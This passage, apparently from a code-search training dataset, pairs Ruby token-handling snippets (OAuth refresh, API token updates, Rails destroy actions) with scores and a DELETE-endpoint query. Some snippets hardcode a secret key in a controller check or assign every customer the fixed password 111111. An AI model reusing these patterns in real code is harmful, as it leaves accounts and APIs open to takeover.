args.key?(:tenant_id)\n @token = args[:token] if args.key?(:token)\n @token_type = args[:token_type] if args.key?(:token_type)\n end", "def update!(**args)\n @remodelings = args[:remodelings] if args.key?(:remodelings)\n @single_token = args[:single_token] if args.key?(:single_token)\n end", "def update!(**args)\n @id_token = args[:id_token] if args.key?(:id_token)\n @refresh_token = args[:refresh_token] if args.key?(:refresh_token)\n end", "def update\n response = check_for_headers_having_valid_data(request)\n respond_to do |format|\n format.json { render json: {data: @user.token,jwt_verification_info: @jwt_verification_info}.to_json }\n end\n end", "def update!(**args)\n @token_status = args[:token_status] if args.key?(:token_status)\n end", "def update!(**args)\n @access_token = args[:access_token] if args.key?(:access_token)\n @expires_in = args[:expires_in] if args.key?(:expires_in)\n @scope = args[:scope] if args.key?(:scope)\n @token_type = args[:token_type] if args.key?(:token_type)\n end", "def update\n @user_token = UserToken.find(params[:id])\n\n respond_to do |format|\n if @user_token.update_attributes(params[:user_token])\n format.html { redirect_to @user_token, notice: 'User token was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_token.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n patient = get_patient(@body[\"token\"])\n if patient != @patient\n render json: {message: \"failed to authenticate\"}, status: :unprocessable_entity\n elsif @patient.update(patient_params)\n render :json => {\n id: @patient.id,\n email: @patient.email,\n firstName: @patient.first_name,\n lastName: @patient.last_name,\n birthday: @patient.birthday,\n sex: @patient.sex,\n height: @patient.height,\n weight: @patient.weight,\n token: get_token(@patient)\n }\n else\n render json: @patient.errors, status: :unprocessable_entity\n end\n end", "def update!(**args)\n @access_token = args[:access_token] if args.key?(:access_token)\n @expires_in = args[:expires_in] if args.key?(:expires_in)\n @issued_token_type = args[:issued_token_type] if args.key?(:issued_token_type)\n @token_type = args[:token_type] if args.key?(:token_type)\n end", "def update!(**args)\n @access_token = args[:access_token] if args.key?(:access_token)\n @expires_in = args[:expires_in] if args.key?(:expires_in)\n @issued_token_type = args[:issued_token_type] if args.key?(:issued_token_type)\n @token_type = args[:token_type] if args.key?(:token_type)\n end", "def update\n\n if params[:sk] != 'foeiuh9q28734gfa9w8hfg92830rq892g0oaw8hf'\n return\n else\n\n @device_token = DeviceToken.find_or_initialize_by_ios_device_token(params[:device_token][:ios_device_token])\n\n respond_to do |format|\n if @device_token.update_attributes(params[:device_token])\n format.html { redirect_to @device_token, notice: 'Device token was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @device_token.errors, status: :unprocessable_entity }\n end\n end\n end\n\n end", "def update\n respond_to do |format|\n if @model.update(access_token_params)\n format.html { redirect_to @model, notice: 'Access token was successfully updated.' }\n format.json { render :show, status: :ok, location: @model }\n else\n format.html { render :edit }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @apn_token.update(apn_token_params)\n format.html { redirect_to @apn_token, notice: 'Apn token was successfully updated.' }\n format.json { render :show, status: :ok, location: @apn_token }\n else\n format.html { render :edit }\n format.json { render json: @apn_token.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @access_token = args[:access_token] if args.key?(:access_token)\n @id_token = args[:id_token] if args.key?(:id_token)\n @refresh_token = args[:refresh_token] if args.key?(:refresh_token)\n end", "def create\n @globus_token = GlobusToken.new(globus_token_params)\n\n respond_to do |format|\n if @globus_token.save\n format.html { redirect_to globus_token_url(@globus_token), notice: \"Globus token was successfully created.\" }\n format.json { render :show, status: :created, location: @globus_token }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @globus_token.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_token\n params = {\n client_id: client_id,\n client_secret: client_secret,\n grant_type: 'refresh_token',\n refresh_token: refresh_token\n }\n request(:post, 'oauth2/token', params, true)\n end", "def refresh_oauth2_token!\n ensure_oauth2_token(true)\n save!\n end", "def refresh_token\n authorize current_user\n original = current_user.api_token\n current_user.generate_token!\n @success = current_user.api_token != original\n end", "def update!(**args)\n @verification_method = args[:verification_method] if args.key?(:verification_method)\n @token = args[:token] if args.key?(:token)\n end", "def refresh_auth_token\n generate_token(:auth_token)\n save!\n end", "def update!(**args)\n @id_token = args[:id_token] if args.key?(:id_token)\n @phone_auth_info = args[:phone_auth_info] if args.key?(:phone_auth_info)\n @refresh_token = args[:refresh_token] if args.key?(:refresh_token)\n end", "def update!(**args)\n @grant_type = args[:grant_type] if args.key?(:grant_type)\n @options = args[:options] if args.key?(:options)\n @requested_token_type = args[:requested_token_type] if args.key?(:requested_token_type)\n @subject_token = args[:subject_token] if args.key?(:subject_token)\n @subject_token_type = args[:subject_token_type] if args.key?(:subject_token_type)\n end", "def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend", "def update!(**args)\n @id_token = args[:id_token] if args.key?(:id_token)\n @phone_auth_info = args[:phone_auth_info] if args.key?(:phone_auth_info)\n @refresh_token = args[:refresh_token] if args.key?(:refresh_token)\n @totp_auth_info = args[:totp_auth_info] if args.key?(:totp_auth_info)\n end", "def update number, routes\r\n # the base uri for api requests\r\n query_builder = Configuration.BASE_URI.dup\r\n\r\n # prepare query string for API call\r\n query_builder << \"/tns/{number}\"\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n \"number\" => number,\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n \"user-agent\" => \"Flowroute SDK 1.0\",\r\n \"content-type\" => \"application/json; charset=utf-8\"\r\n }\r\n\r\n response = CustomAuthUtility.append_custom_auth_params method:'PATCH',\r\n query_url:query_url,\r\n body:\"{\\\"routes\\\": #{routes.to_json}}\",\r\n headers:headers\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new \"NOT AUTHORIZED\", 401, response.raw_body\r\n elsif response.code == 500\r\n raise APIException.new \"APPLICATION/SERVER ERROR\", 500, response.raw_body\r\n elsif !(response.code.between?(200,206)) # [200,206] = HTTP OK\r\n raise APIException.new \"HTTP Response Not OK\", response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end", "def update_token_with_http_info(organization_id, token_id, update_token, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TokensApi.update_token ...'\n end\n # verify the required parameter 'organization_id' is set\n if @api_client.config.client_side_validation && organization_id.nil?\n fail ArgumentError, \"Missing the required parameter 'organization_id' when calling TokensApi.update_token\"\n end\n # verify the required parameter 'token_id' is set\n if @api_client.config.client_side_validation && token_id.nil?\n fail ArgumentError, \"Missing the required parameter 'token_id' when calling TokensApi.update_token\"\n end\n # verify the required parameter 'update_token' is set\n if @api_client.config.client_side_validation && update_token.nil?\n fail ArgumentError, \"Missing the required parameter 'update_token' when calling TokensApi.update_token\"\n end\n # resource path\n local_var_path = '/{organization-id}/tokens/{token-id}'.sub('{' + 'organization-id' + '}', CGI.escape(organization_id.to_s).gsub('%2F', '/')).sub('{' + 'token-id' + '}', CGI.escape(token_id.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(update_token) \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse2014' \n\n # auth_names\n auth_names = opts[:auth_names] || ['ApiKeyAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TokensApi#update_token\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update_token\n\trequire 'date'\n\ttil = Time.at(settings.exp) - Time.now\n\tleft = (til/60).to_i\n\tp left\n\tif left < 5\n\t\tres = RestClient.post( \"https://auth.exacttargetapis.com/v1/requestToken\",\n\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t:clientId => settings.clientId,\n\t\t\t\t\t\t\t\t:clientSecret => settings.clientSecret,\n\t\t\t\t\t\t\t\t:refreshToken => settings.refreshToken,\n\t\t\t\t\t\t\t\t:accessType => \"offline\"\n\t\t\t\t\t\t\t })\n\t\t@res = JSON.parse(res)\n\t\tsettings.oauthToken = @res[\"accessToken\"]\n\t\tsettings.exp = Time.now + @res[\"expiresIn\"]\n\t\tsettings.refreshToken = @res[\"refreshToken\"]\n\tend\t\nend", "def refresh!(params={})\n @token = token.refresh!(params)\n end", "def rest_token_endpoint; end", "def update!(**args)\n @token_groups = args[:token_groups] if args.key?(:token_groups)\n end", "def edit_password\n @token = params[:token]\n end", "def update\n if @user.update(user_params)\n render json: {user: @user, token: @token}\n else\n frender json: @user.errors, status: :unprocessable_entity \n end\n end", "def update_token\n client.authorization.update_token!(oauth_data)\n if client.authorization.refresh_token && client.authorization.expired?\n client.authorization.fetch_access_token!\n end\n end", "def update_token(param)\n pass = param[:password]\n token = param[:access_token]\n\n return unless self.valid_password?(pass)\n\n self.update(access_token: token)\n end", "def update_current_logged_in_users_password(args = {}) \n id = args['id']\n temp_path = \"/users.json/current/password\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"userId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def renew_token\n body_params = token_request_body\n body_params << [\"refresh_token\", current_user.refresh_token]\n body_params << [\"grant_type\", \"refresh_token\"]\n\n get_token(body_params)\n redirect_to sage_accounting_data_path\n end", "def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend", "def update_spotify_tokens\n tokens = SpotifyApi.refresh_tokens(spotify_refresh_token)\n\n if tokens\n self.spotify_access_token = tokens['access_token']\n self.spotify_refresh_token = tokens['refresh_token']\n save\n end\n end", "def token_reset\n current_owner.gen_api_token\n current_owner.save\n redirect_to \"/account\"\n end", "def rest_token_endpoint=(_arg0); end", "def update\n @access_token = AccessToken.find(params[:id])\n\n respond_to do |format|\n if @access_token.update_attributes(params[:access_token])\n format.html { redirect_to @access_token, notice: 'Access token was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @access_token.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @key = args[:key] if args.key?(:key)\n @token_groups = args[:token_groups] if args.key?(:token_groups)\n end", "def perform(params)\n send_request_of_type(\n 'post',\n GlobalConstant::SaasApi.edit_token_path,\n params\n )\n end", "def new_token(token)\n puts(token.to_json)\n @api.post(\"#{Paths::TOKENS}\", :body => token)\n end", "def update\n @user.token = @token\n @user.no_validate = true\n if @user.update(user_params)\n render json: @user, status: :ok \n else\n @user.errors.messages[:message]= {} \n return render json: {error: @user.errors}, status: :unprocessable_entity\n end \n end", "def update_user_for_tenant(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/{tenantId}/users/{userId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n head :unauthorized\n end", "def update_access_token(account_number, token, token_form)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}/access-tokens/{token}'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number,\r\n 'token' => token\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'content-type' => 'application/json; charset=utf-8',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.patch query_url, headers: headers, parameters: token_form.to_json\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end", "def update!(**args)\n @audience = args[:audience] if args.key?(:audience)\n @grant_type = args[:grant_type] if args.key?(:grant_type)\n @options = args[:options] if args.key?(:options)\n @requested_token_type = args[:requested_token_type] if args.key?(:requested_token_type)\n @scope = args[:scope] if args.key?(:scope)\n @subject_token = args[:subject_token] if args.key?(:subject_token)\n @subject_token_type = args[:subject_token_type] if args.key?(:subject_token_type)\n end", "def update_token!(object)\n self.refresh_token = object.refresh_token unless object.refresh_token.nil?\n self.access_token = object.access_token\n self.expires_at = object.expires_at\n end", "def refresh_tokens\n response = get(path: 'tokens')[\"data\"]\n token_array = response || {}\n tokens = {}\n token_array.each do |t|\n tokens[t.keys.first] = t.values.first\n end\n @tokens = tokens\n return tokens\n end", "def update!(**args)\n @id_token = args[:id_token] if args.key?(:id_token)\n @mfa_enrollment_id = args[:mfa_enrollment_id] if args.key?(:mfa_enrollment_id)\n @tenant_id = args[:tenant_id] if args.key?(:tenant_id)\n end", "def update\n customer = Customer.find_by_authentication_token(params[:token])\n pwd = 111111 #SecureRandom.hex(4)\n if customer.blank?\n render json: {\n message: \"Impossible d'activer ce badge\"\n }\n else\n #on met à jour les informations\n query = customer.update(\n name: params[:name],\n second_name: params[:second_name],\n cni: params[:cni],\n phone: params[:phone],\n sexe: params[:sexe],\n two_fa: params[:authenticated],\n password: pwd\n )\n\n #verification de la mise a jour\n Sms.new(params[:phone], \"Votre mot de passe est #{pwd}, conservez en toute securité\")\n end\n end", "def put_fees_token_with_http_info(token, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FeesApi.put_fees_token ...'\n end\n # verify the required parameter 'token' is set\n if @api_client.config.client_side_validation && token.nil?\n fail ArgumentError, \"Missing the required parameter 'token' when calling FeesApi.put_fees_token\"\n end\n # resource path\n local_var_path = '/fees/{token}'.sub('{' + 'token' + '}', CGI.escape(token.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'body'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'Fee'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"FeesApi.put_fees_token\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FeesApi#put_fees_token\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update\n respond_to do |format|\n if @facebook_token.update(facebook_token_params)\n format.json { render :show, status: :ok, location: @facebook_token }\n else\n format.json { render json: @facebook_token.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_format\n request.format = :json if params[:api_token].present? && params[:format].blank?\n end", "def getTokenEdit( entity_id, language, flatpack_id, edit_page)\n params = Hash.new\n params['entity_id'] = entity_id\n params['language'] = language\n params['flatpack_id'] = flatpack_id\n params['edit_page'] = edit_page\n return doCurl(\"get\",\"/token/edit\",params)\n end", "def update_push_token(token, os_type)\n values = {\n token: token,\n os: os_type\n }\n\n @client.make_request :post,\n auth_path('push_token'),\n values\n end", "def update\n @oauth_token = OauthToken.find(params[:id])\n\n respond_to do |format|\n if @oauth_token.update_attributes(params[:oauth_token])\n format.html { redirect_to([:scaffold, @oauth_token], :notice => 'Oauth token was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @oauth_token.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_tokens(oauth_params)\n# binding.pry\n self.oauth_token = oauth_params.credentials.token\n # facebook, google provide this; twitter, linkedin don't\n self.oauth_expires_at = Time.at(oauth_params.credentials.expires_at) if oauth_params.credentials.expires_at\n # twitter\n self.oauth_secret = oauth_params.credentials.secret if oauth_params.credentials.secret\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def put(path, args={})\n inject_token_auth_headers!(args)\n response = self.class.put(request_url(path), args)\n update_token_auth_headers(response)\n return response\n end", "def updateapnstoken\n @user = User.find_by_authentication_token(params[:auth_token])\n uph = {apns_device_token: params[:apns_token]}\n respond_to do |format|\n if @user.update_attributes(uph)\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def token(request)\n end", "def update!(**args)\n @code = args[:code] if args.key?(:code)\n @id_token = args[:id_token] if args.key?(:id_token)\n @token = args[:token] if args.key?(:token)\n end", "def update_password_token(token)\n data = { token: token }\n self.class.http_put(\"accounts/update_password_token/#{user.username}\", data)\n end", "def scope_token(para1, para2 = nil, para3 = nil)\n if ( para2.nil? )\n data = { \"auth\" => { \"tenantName\" => para1, \"token\" => { \"id\" => token() } } }\n @data = post_request(address(\"/tokens\"), data, token())\n else \n authenticate(para1, para2, token(), para3)\t\t\t\n end\n end", "def update!(**args)\n @segment = args[:segment] if args.key?(:segment)\n @short_token = args[:short_token] if args.key?(:short_token)\n @token = args[:token] if args.key?(:token)\n end", "def update_token! options = {}\n # Normalize all keys to symbols to allow indifferent access internally\n options = deep_hash_normalize options\n\n self.expires_in = options[:expires] if options.key? :expires\n self.expires_in = options[:expires_in] if options.key? :expires_in\n self.expires_at = options[:expires_at] if options.key? :expires_at\n\n # By default, the token is issued at `Time.now` when `expires_in` is\n # set, but this can be used to supply a more precise time.\n self.issued_at = options[:issued_at] if options.key? :issued_at\n\n # Special case where we want expires_at to be relative to issued_at\n if options.key?(:issued_at) && options.key?(:expires_in)\n set_relative_expires_at options[:issued_at], options[:expires_in]\n end\n\n self.access_token = options[:access_token] if options.key? :access_token\n self.refresh_token = options[:refresh_token] if options.key? :refresh_token\n self.id_token = options[:id_token] if options.key? :id_token\n\n self\n end", "def set_token\n @token = @instance.tokens.find(params[:id] || params[:token_id])\n end", "def token\n #@user = User.where(:id => params[:user_id]).first\n #@user.reset_authentication_token!\n redirect_to edit_user_registration_path(@user)\n end", "def token=(value)\n @token = value\n resources.each do |klass|\n update_token_header(klass)\n end\n end", "def update_current_logged_in_user(args = {}) \n id = args['id']\n temp_path = \"/users.json/current\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"userId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def renew\n req_body = { grant_type: 'refresh_token', refresh_token: @token.refresh_token }\n\n response = JSON.parse(request_token(req_body).body)\n\n @token.update!(response['access_token'], response['expires_in'], response['refresh_token'])\n\n save\n rescue StandardError => e\n puts \"Unable to refresh token\\n#{e.message}\"\n end", "def patch!\n request! :patch\n end", "def put!\n request! :put\n end", "def refresh_token\n warden.authenticate!(scope: resource_name)\n # the route is already hooked up for session check and jwt dispatch\n render json: {}.merge(prepared_jwt_as_access_token)\n end", "def update\n respond_to do |format|\n if @connection_token.update(connection_token_params)\n format.json { render json: @connection_token, status: :ok }\n format.html { redirect_to @connection_token, notice: 'Connection token was successfully updated.' }\n else\n format.json { render json: @connection_token.errors, status: :unprocessable_entity }\n format.html { render :edit }\n end\n end\n end", "def api_token\n @user = T.must(current_user)\n\n authorize @user, policy_class: SettingsPolicy\n\n token = @user.api_token\n\n # Create a token if the user doesn't already have one.\n if token.nil?\n @user.api_token = Devise.friendly_token\n @user.save\n token = @user.api_token\n end\n\n respond_to do |format|\n format.json { render json: token.to_json }\n end\n end", "def set_token\n @token = ENV[\"TYPEFORM_API_TOKEN\"]\n end", "def update!(**args)\n @matched_lightweight_token = args[:matched_lightweight_token] if args.key?(:matched_lightweight_token)\n end", "def update!(**args)\n @matched_lightweight_token = args[:matched_lightweight_token] if args.key?(:matched_lightweight_token)\n end", "def refresh_token!\n create_token = Kickit::API::CreateToken.new\n resp = create_token.execute(:username => username,\n :developerKey => Kickit::Config.developerKey)\n @token = resp\n end", "def set_token\n @token = Token.find(params[:id])\n end", "def update!(**args)\n @claims = args[:claims] if args.key?(:claims)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def refresh_fitbit_token\n @fitbit_oauth_client.site = \"https://api.fitbit.com\" \n @fitbit_token = @fitbit_token.refresh!(:headers =>{'Authorization' => \"Basic #{@base64_id_secret}\",'Body' => \"client_id=#{@fitbit_oauth_client.id}\"})\n end", "def refresh!\n response = request_token_from_google\n data = JSON.parse(response.body)\n if data[\"access_token\"].present?\n update_attributes(access_token: data['access_token'], expires_at: Time.now + (data['expires_in'].to_i).seconds)\n else\n puts data[\"error_description\"]\n end\n end", "def tokens_path\n @tokens_path || \"/requests/tokens/\"\n end" ]
[ "0.63651603", "0.6165193", "0.60930705", "0.60487264", "0.60411566", "0.5932071", "0.59099835", "0.58823305", "0.58146465", "0.57176846", "0.57176846", "0.5706656", "0.57002777", "0.56871086", "0.5608996", "0.56061226", "0.5539444", "0.55339545", "0.5511773", "0.550958", "0.5491171", "0.5491171", "0.54699576", "0.54521346", "0.5451453", "0.54480994", "0.5404001", "0.5401234", "0.5398103", "0.53802884", "0.5348861", "0.5333218", "0.5331828", "0.5322301", "0.53092533", "0.53025436", "0.53012854", "0.52753407", "0.5275033", "0.5263778", "0.5259957", "0.5247284", "0.5233529", "0.52305", "0.5228839", "0.5228183", "0.5226751", "0.5218494", "0.5217481", "0.5216293", "0.5210289", "0.51979786", "0.51812935", "0.5173125", "0.51622057", "0.5159681", "0.51527303", "0.51475966", "0.5137044", "0.5135503", "0.512284", "0.5111388", "0.5110008", "0.5106582", "0.51018584", "0.510061", "0.5100492", "0.5091601", "0.50893414", "0.5076915", "0.50768924", "0.5075177", "0.50748396", "0.5059073", "0.50517565", "0.5038773", "0.5038755", "0.50228727", "0.5021196", "0.5020533", "0.50193346", "0.5018166", "0.501789", "0.49900025", "0.49794015", "0.497846", "0.4977105", "0.49769998", "0.49729434", "0.49715155", "0.49643576", "0.49636868", "0.49633056", "0.49633056", "0.49617818", "0.49527952", "0.49468026", "0.49454924", "0.49453002", "0.4942366" ]
0.7029462
0
DELETE /globus_tokens/1 or /globus_tokens/1.json
def destroy @globus_token.destroy respond_to do |format| format.html { redirect_to globus_tokens_url, notice: "Globus token was successfully destroyed." } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete(path, data = {})\n self.class.delete path, :body => data.merge(:u => access_token)\n end", "def destroy\n @token = @user.tokens.find(params[:id])\n @user.tokens.delete(@token)\n @user.save\n\n respond_to do |format|\n format.html { redirect_to user_tokens_url }\n format.json { head :no_content }\n end\n end", "def delete_token(token)\n delete token_path(token)\n end", "def delete operation, *args\n request(args) do |attrs, headers|\n @oauth_access_token.send(:delete, \"/#{API_VERSION}/#{operation}.#{API_FORMAT}\", headers)\n end\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def destroy\n @token.destroy\n\n head :no_content\n end", "def destroy\n @token = Token.find(params[:id])\n @token.destroy\n \n respond_to do |format|\n format.html { redirect_to tokens_url }\n format.json { head :ok }\n end\n end", "def delete_token(token = nil)\n token = token || settings.token\n delete \"authToken/#{token.to_s}\"\n end", "def delete_apn_token\n if params[:id] == current_user.id.to_s\n # A user can delete tokens for themself\n @user = current_user\n return render_error(500, \"must specify a token to remove\") unless token = params.delete(:token)\n\n # remove the token from the user's collection\n @user.pull(:bh => token)\n\n @status = 200\n else\n @status = 401\n end\n end", "def destroy\n unless User.admin_by_token?(request.cookies[\"token\"])\n render json: { error: \"invalid_token\" }, status: :unauthorized\n return\n end\n\n @resource.destroy\n head :no_content\n end", "def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end", "def delete_data(path, &block)\n url = \"#{host}/api/v#{version}/#{path}\"\n params = Jbuilder.encode(&block) if block_given?\n params ||= {}\n resource = RestClient::Resource.new(\n url, \n headers: {\n \"uid\" => @uid,\n \"client\" => @client,\n \"access-token\" => @access_token\n }\n )\n resource.delete(params) do |response, request, result, &blk|\n case response.code\n when 200\n if response.blank?\n true\n else\n auth_data = {\n uid: response.headers[:uid],\n client: response.headers[:client],\n access_token: response.headers[:access_token]\n }\n JSON.parse(response).merge(auth_data)\n end\n when 404\n nil\n else\n JSON.parse(response)\n end\n end\n end", "def destroy\n @token.destroy\n respond_to do |format|\n format.html { redirect_to admin_tokens_url, notice: 'Token was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @token = Token.find(params[:id])\n @token.destroy\n\n head :no_content\n end", "def delete(path, params={}, args={})\n inject_token_auth_headers!(args)\n response = self.class.delete(request_url(path, params), args)\n update_token_auth_headers(response)\n return response\n end", "def delete(token)\n @store.delete(key_for(token))\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def delete(path, params = {})\n Chirpy.request params.merge({:path => path, :method => 'delete'}.merge(authentication))\n end", "def delete(splat)\n bad_request if splat.empty?\n _delete resolve_uri(splat[0])\n end", "def delete(*rest) end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @access_token = AccessToken.find(params[:id])\n @access_token.destroy\n\n respond_to do |format|\n format.html { redirect_to access_tokens_url }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def delete(path)\n path = relativize_path path\n\n Precog.connect self do |http|\n uri = Addressable::URI.new\n uri.query_values = { :apiKey => api_key }\n\n http.delete \"/ingest/v#{VERSION}/fs/#{path}?#{uri.query}\"\n end\n end", "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end", "def destroy\n\n api_key = ApiKey.where(access_token: token).first\n\n api_key.access_token = ''\n api_key.expires_at = Time.now\n\n if api_key.save\n render json: {}, status: 200\n else\n render json: {}, status: 422\n end\n end", "def delete(*uris); end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete!(*rest) end", "def delete_token(filename)\n begin\n File.delete(File.join(@token_folder, filename))\n rescue => e\n @logger.error \"Error deleting token file for VM #{vm_id}\"\n @logger.error e.message\n end\n end", "def delete_token(filename)\n begin\n File.delete(File.join(@token_folder, filename))\n rescue StandardError => e\n @logger.error \"Error deleting token file for VM #{vm_id}\"\n @logger.error e.message\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end", "def delete(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n @client.post({\n 'action' => 'del',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n end", "def delete\n decoded_access_token = JWT.decode(params[:accessToken], 's3cr3t', true, algorithm: 'HS256')\n decoded_refresh_token = JWT.decode(params[:refreshToken], 's3cr3t', true, algorithm: 'HS256')\n # Check if token was decoded\n if decoded_access_token && decoded_refresh_token\n @user = User.find_by(id: decoded_access_token[0]['user_id'])\n if @user # user exists\n Blacklist.find_by(jwt: params[:accessToken]).delete\n Blacklist.find_by(jwt: params[:refreshToken]).delete\n User.find_by(id: @user.id).delete\n render json: {status: \"User was succesfully deleted\"}\n else\n render json: {error: \"Invalid User\"}\n end\n else # token is null\n render json: {error: \"Invalid Tokens\"}\n end\n end", "def destroy\n @oauth_token = OauthToken.find(params[:id])\n @oauth_token.destroy\n\n respond_to do |format|\n format.html { redirect_to(scaffold_oauth_tokens_url) }\n format.xml { head :ok }\n end\n end", "def delete(major,minor)\n major = major.to_sym\n if minor\n delete_hash = minor\n 